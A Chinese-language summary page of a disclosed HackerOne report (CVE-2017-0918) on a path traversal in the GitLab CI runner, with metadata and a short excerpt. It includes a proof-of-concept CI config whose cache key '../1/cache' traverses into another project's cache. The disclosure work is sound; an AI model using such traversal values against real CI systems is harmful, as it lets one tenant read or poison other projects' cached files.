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地图 / GitLab CI runner can read and poison cache of all other projects

GitLab CI runner can read and poison cache of all other projects

路径遍历 / 路径遍历 / #301432

厂商
GitLab
严重程度
高危 · CVSS 9
赏金
$2,000
弱点
路径遍历
研究员
@jobert
披露日期
2018-04-27
资产
—
CVE
CVE-2017-0918

该报告还没有中文解读。

原文摘录

摘自原文(4732 字符中的一小部分)
The GitLab CI runner allows users to cache files and directories in between runs. These files are stored in a ZIP file and uploaded to a shared cache instance. In my testing, the files were uploaded to `runners-cache-4-internal.gitlab.com` and `runners-cache-3-internal.gitlab.com`, even for …
原文中的代码
a:
  script:
  - ls -lashR
  cache:
    key: ../1/cache
    policy: pull
    paths:
      - .

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 GitLab 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @jobert · 版权归作者与 GitLab 所有

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